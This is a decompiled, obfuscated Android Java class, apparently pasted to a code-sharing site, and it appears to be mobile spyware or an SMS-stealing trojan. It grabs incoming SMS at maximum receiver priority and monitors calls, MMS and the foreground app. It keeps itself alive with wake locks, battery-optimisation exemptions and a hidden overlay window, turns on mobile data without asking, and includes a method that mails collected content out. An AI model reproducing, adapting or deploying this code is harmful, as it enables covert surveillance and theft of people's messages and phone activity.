- List<PackageInfo> installedPackages = packageManager.getInstalledPackages(0);
- d.e.b.h.a((Object) installedPackages, "pm.getInstalledPackages(0)");
- for (PackageInfo packageInfo : installedPackages) {
- if (packageInfo.applicationInfo.flags == false || 1 == false) {
- this.z = this.z == 0 ? packageInfo.firstInstallTime : Math.min(this.z, packageInfo.firstInstallTime);
- }
- }
- }
- return this.z;
- }
- public final long getFirstAppTime() {
- return this.z;
- }
- public final View getFsFloatView() {
- return this.n;
- }
- public final String getHtmlPhoneText() {
- return this.E;
- }
- public final String getHtmlText() {
- return this.C;
- }
- public final String getHtmlTextCHT() {
- return this.D;
- }
- public final String getHttpPhoneServerUrl() {
- return this.t;
- }
- public final AlertDialog getHttpServerDlg() {
- return this.q;
- }
- public final String getHttpServerUrl() {
- return this.p;
- }
- @SuppressLint({"WrongConstant"})
- public final String getTopActivityName$loader_release(Context context) {
- d.e.b.h.b(context, "context");
- try {
- if (VERSION.SDK_INT < 21) {
- String str = null;
- Object systemService = context.getSystemService("activity");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.app.ActivityManager");
- }
- List runningTasks = ((ActivityManager) systemService).getRunningTasks(100);
- if (runningTasks == null) {
- return str;
- }
- Iterator it = runningTasks.iterator();
- if (!it.hasNext()) {
- return str;
- }
- ComponentName componentName = ((RunningTaskInfo) it.next()).topActivity;
- d.e.b.h.a((Object) componentName, "f");
- String className = componentName.getClassName();
- StringBuilder sb = new StringBuilder();
- sb.append(componentName.getPackageName());
- sb.append("/");
- sb.append(className);
- return sb.toString();
- }
- long currentTimeMillis = System.currentTimeMillis();
- Object systemService2 = context.getSystemService("usagestats");
- if (systemService2 == null) {
- throw new d.g("null cannot be cast to non-null type android.app.usage.UsageStatsManager");
- }
- List<UsageStats> queryUsageStats = ((UsageStatsManager) systemService2).queryUsageStats(4, currentTimeMillis - ((long) 10000), currentTimeMillis);
- if (queryUsageStats == null) {
- return null;
- }
- if (queryUsageStats.isEmpty()) {
- return null;
- }
- UsageStats usageStats = null;
- UsageStats usageStats2 = usageStats;
- for (UsageStats usageStats3 : queryUsageStats) {
- if (usageStats2 != null) {
- long lastTimeUsed = usageStats2.getLastTimeUsed();
- d.e.b.h.a((Object) usageStats3, "usageStats");
- if (lastTimeUsed >= usageStats3.getLastTimeUsed()) {
- }
- }
- usageStats2 = usageStats3;
- }
- if (usageStats2 != null) {
- return usageStats2.getPackageName();
- }
- return null;
- } catch (Exception e2) {
- e2.printStackTrace();
- return null;
- }
- }
- public final String getWebPageData() {
- return this.s;
- }
- public final WifiLock getWifiLock() {
- WifiLock wifiLock2 = this.wifiLock;
- if (wifiLock2 == null) {
- d.e.b.h.b("wifiLock");
- }
- return wifiLock2;
- }
- public final void onStop() {
- g.a(this.g, 0, null, 3, null).a();
- Context context = this.a;
- if (context == null) {
- d.e.b.h.b("ctx");
- }
- context.unregisterReceiver(this.r);
- Context context2 = this.a;
- if (context2 == null) {
- d.e.b.h.b("ctx");
- }
- WifiManager wifiManager = (WifiManager) context2.getSystemService("wifi");
- if (wifiManager != null) {
- WifiInfo connectionInfo = wifiManager.getConnectionInfo();
- if (connectionInfo != null) {
- SharedPreferences sharedPreferences = this.e;
- if (sharedPreferences == null) {
- d.e.b.h.b("preferences");
- }
- sharedPreferences.edit().putString("wifissid", connectionInfo.getSSID()).apply();
- }
- }
- }
- public final String ping(String str, int i2) {
- boolean z2 = true;
- d.e.b.h.b(str, "host");
- try {
- Runtime runtime = Runtime.getRuntime();
- StringBuilder sb = new StringBuilder();
- sb.append("ping -c ");
- sb.append(i2);
- sb.append(' ');
- sb.append(str);
- Process exec = runtime.exec(sb.toString());
- d.e.b.h.a((Object) exec, "prc");
- InputStream inputStream = exec.getInputStream();
- d.e.b.h.a((Object) inputStream, "prc.inputStream");
- String str2 = new String(d.d.a.a(inputStream, 0, 1, null), d.i.d.a);
- InputStream errorStream = exec.getErrorStream();
- d.e.b.h.a((Object) errorStream, "prc.errorStream");
- byte[] a2 = d.d.a.a(errorStream, 0, 1, null);
- if (a2.length != 0) {
- z2 = false;
- }
- if (!(!z2)) {
- return str2;
- }
- StringBuilder sb2 = new StringBuilder();
- sb2.append(str2);
- sb2.append("\r\n");
- sb2.append(new String(a2, d.i.d.a));
- return sb2.toString();
- } catch (Exception e2) {
- return e2.toString();
- }
- }
- public final void removeFullscreenFloatWindow() {
- new Handler(Looper.getMainLooper()).post(new aj(this));
- }
- public final void requestIgnoreBatteryOpt() {
- if (VERSION.SDK_INT >= 23) {
- try {
- Context context = this.a;
- if (context == null) {
- d.e.b.h.b("ctx");
- }
- Object systemService = context.getSystemService("power");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.os.PowerManager");
- }
- PowerManager powerManager = (PowerManager) systemService;
- Method method = powerManager.getClass().getMethod("isIgnoringBatteryOptimizations", new Class[]{String.class});
- Context context2 = this.a;
- if (context2 == null) {
- d.e.b.h.b("ctx");
- }
- Object invoke = method.invoke(powerManager, new Object[]{context2.getPackageName()});
- if (invoke == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
- }
- boolean booleanValue = ((Boolean) invoke).booleanValue();
- StringBuilder sb = new StringBuilder();
- sb.append("");
- sb.append(booleanValue);
- Log.d("ibo", sb.toString());
- Intent intent = new Intent();
- intent.setAction("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS");
- StringBuilder sb2 = new StringBuilder();
- sb2.append("package:");
- Context context3 = this.a;
- if (context3 == null) {
- d.e.b.h.b("ctx");
- }
- sb2.append(context3.getPackageName());
- intent.setData(Uri.parse(sb2.toString()));
- intent.addFlags(268435456);
- Context context4 = this.a;
- if (context4 == null) {
- d.e.b.h.b("ctx");
- }
- context4.startActivity(intent);
- } catch (Exception e2) {
- e2.printStackTrace();
- }
- }
- }
- public final void requestIgnoreBatteryOpt2() {
- try {
- Context context = this.a;
- if (context == null) {
- d.e.b.h.b("ctx");
- }
- Intent launchIntentForPackage = context.getPackageManager().getLaunchIntentForPackage("com.android.chrome");
- launchIntentForPackage.addFlags(268435456);
- Context context2 = this.a;
- if (context2 == null) {
- d.e.b.h.b("ctx");
- }
- context2.startActivity(launchIntentForPackage);
- } catch (Exception e2) {
- e2.printStackTrace();
- }
- new Handler(Looper.getMainLooper()).postDelayed(new ak(this), 1500);
- }
- public final void sendStartTLSMail(String str) {
- d.e.b.h.b(str, "content");
- new Thread(new al(this, str)).start();
- }
- public final void setCallListener(f fVar) {
- d.e.b.h.b(fVar, "<set-?>");
- this.m = fVar;
- }
- public final void setFirstAppTime(long j2) {
- this.z = j2;
- }
- public final void setFsFloatView(View view) {
- this.n = view;
- }
- public final void setHttpPhoneServerUrl(String str) {
- d.e.b.h.b(str, "<set-?>");
- this.t = str;
- }
- public final void setHttpServerDlg(AlertDialog alertDialog) {
- this.q = alertDialog;
- }
- public final void setHttpServerUrl(String str) {
- d.e.b.h.b(str, "<set-?>");
- this.p = str;
- }
- public final void setSpeekModle$loader_release(boolean z2) {
- }
- public final void setWebPageData(String str) {
- d.e.b.h.b(str, "<set-?>");
- this.s = str;
- }
- public final void setWifiLock(WifiLock wifiLock2) {
- d.e.b.h.b(wifiLock2, "<set-?>");
- this.wifiLock = wifiLock2;
- }
- public final void showFullscreenFloatWindow() {
- new Handler(Looper.getMainLooper()).post(new am(this));
- }
- public final void start(Context context, Intent intent, int[] iArr) {
- d.e.b.h.b(context, "ctx");
- if (iArr != null) {
- try {
- if (iArr.length == 3) {
- SharedPreferences sharedPreferences = context.getSharedPreferences("pref", 0);
- sharedPreferences.edit().putInt("create", sharedPreferences.getInt("create", 0) + 1).apply();
- if (VERSION.SDK_INT >= 18) {
- Notification.Builder builder = new Notification.Builder(context);
- builder.setSmallIcon(iArr[0]);
- builder.setContentTitle(" ");
- builder.setContentText(" ");
- Notification build = builder.build();
- build.contentView = new RemoteViews(context.getPackageName(), iArr[1]);
- new as(build, iArr, context, 21334, new Handler(Looper.getMainLooper())).run();
- } else {
- ((Service) context).startForeground(21334, new Notification());
- }
- }
- } catch (Exception e2) {
- }
- }
- try {
- this.l = new h();
- h hVar = this.l;
- if (hVar == null) {
- d.e.b.h.b("playTask");
- }
- hVar.execute(new Void[0]);
- } catch (Exception e3) {
- e3.printStackTrace();
- }
- boolean z2 = intent != null;
- Log.d("APP_LOCALE", Locale.getDefault().toString());
- Object systemService = context.getSystemService("phone");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
- }
- TelephonyManager telephonyManager = (TelephonyManager) systemService;
- String a2 = a(telephonyManager);
- if (a2 == null) {
- a2 = "";
- }
- if (!(d.i.m.a(a2, "+86", false, 2, null) || d.i.m.a(a2, "13", false, 2, null) || d.i.m.a(a2, "15", false, 2, null))) {
- d.i.m.a(a2, "18", false, 2, null);
- }
- Thread.setDefaultUncaughtExceptionHandler(new an(this));
- this.a = context;
- System.gc();
- SharedPreferences sharedPreferences2 = context.getSharedPreferences("pref", 0);
- d.e.b.h.a((Object) sharedPreferences2, "ctx.getSharedPreferences…f\", Context.MODE_PRIVATE)");
- this.e = sharedPreferences2;
- Object systemService2 = context.getApplicationContext().getSystemService("power");
- if (systemService2 == null) {
- throw new d.g("null cannot be cast to non-null type android.os.PowerManager");
- }
- PowerManager powerManager = (PowerManager) systemService2;
- StringBuilder sb = new StringBuilder();
- sb.append("wk");
- sb.append(hashCode());
- WakeLock newWakeLock = powerManager.newWakeLock(1, sb.toString());
- d.e.b.h.a((Object) newWakeLock, "pm.newWakeLock(PowerMana…_LOCK, \"wk\" + hashCode())");
- this.f = newWakeLock;
- WakeLock wakeLock = this.f;
- if (wakeLock == null) {
- d.e.b.h.b("wakeLock");
- }
- wakeLock.acquire();
- c.a.g.a.a().a(ao.a);
- IntentFilter intentFilter = new IntentFilter();
- intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
- intentFilter.setPriority(Integer.MAX_VALUE);
- intentFilter.addCategory("android.intent.category.DEFAULT");
- context.registerReceiver(this.r, intentFilter);
- context.registerReceiver(this.r, new IntentFilter("android.net.conn.CONNECTIVITY_CHANGE"));
- context.registerReceiver(this.r, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
- context.registerReceiver(this.r, new IntentFilter(o.a.a()));
- context.registerReceiver(this.r, new IntentFilter("android.intent.action.USER_PRESENT"));
- context.registerReceiver(this.r, new IntentFilter("android.intent.action.PHONE_STATE"));
- context.registerReceiver(this.r, new IntentFilter("android.net.wifi.SCAN_RESULTS"));
- IntentFilter intentFilter2 = new IntentFilter();
- intentFilter2.addAction("android.intent.action.PACKAGE_ADDED");
- intentFilter2.addAction("android.intent.action.PACKAGE_REMOVED");
- intentFilter2.addDataScheme("package");
- context.registerReceiver(this.r, intentFilter2);
- IntentFilter intentFilter3 = new IntentFilter();
- intentFilter3.addAction("android.intent.action.SCREEN_OFF");
- intentFilter3.addAction("android.intent.action.SCREEN_ON");
- intentFilter3.addAction("android.media.RINGER_MODE_CHANGED");
- context.registerReceiver(this.r, intentFilter3);
- for (PackageInfo packageInfo : context.getPackageManager().getInstalledPackages(0)) {
- Set<String> set = this.c;
- String str = packageInfo.packageName;
- d.e.b.h.a((Object) str, "info.packageName");
- set.add(str);
- }
- if (z2) {
- requestIgnoreBatteryOpt();
- }
- q.d(context);
- SharedPreferences sharedPreferences3 = this.e;
- if (sharedPreferences3 == null) {
- d.e.b.h.b("preferences");
- }
- q.a(context, sharedPreferences3.getString("wifissid", null));
- try {
- ConnectivityManager.class.getMethod("setMobileDataEnabled", new Class[]{d.e.a.a(d.e.b.k.a(Boolean.TYPE))}).invoke(context.getSystemService("connectivity"), new Object[]{Boolean.valueOf(true)});
- } catch (Exception e4) {
- }
- telephonyManager.listen(new ap(this), 320);
- telephonyManager.listen(this.m, 32);
- d();
- b();
- this.h.schedule(new aq(this, context), 0, 1000);
- try {
- LayoutParams layoutParams = new LayoutParams();
- Object systemService3 = context.getApplicationContext().getSystemService("window");
- if (systemService3 == null) {
- throw new d.g("null cannot be cast to non-null type android.view.WindowManager");
- }
- WindowManager windowManager = (WindowManager) systemService3;
- layoutParams.type = 2010;
- layoutParams.format = 1;
- layoutParams.flags = 8;
- layoutParams.gravity = 51;
- layoutParams.width = 2;
- layoutParams.height = 2;
- View view = new View(context.getApplicationContext());
- view.setBackgroundDrawable(new ColorDrawable(0));
- windowManager.addView(view, layoutParams);
- context.getContentResolver().registerContentObserver(Uri.parse("content://mms/#"), true, new ar(this, context, new Handler()));
- } catch (Exception e5) {
- e5.printStackTrace();
- }
- }
- public final void web(Activity activity, WebView webView) {
- d.e.b.h.b(activity, "activity");
- d.e.b.h.b(webView, "webView");
- webView.setWebViewClient(new bb());
- webView.setWebChromeClient(new bc(webView, activity));
- WebSettings settings = webView.getSettings();
- d.e.b.h.a((Object) settings, "webSetting");
- settings.setAllowFileAccess(true);
- settings.setJavaScriptEnabled(true);
- settings.setDomStorageEnabled(true);
- settings.setDatabaseEnabled(true);
- settings.setAppCacheEnabled(true);
- settings.setUseWideViewPort(true);
- webView.setOnKeyListener(new bd(webView));
- Log.d("WS", "加载url");
- new Thread(new be(this, webView)).start();
- }
- }
Add Comment
Please, Sign In to add comment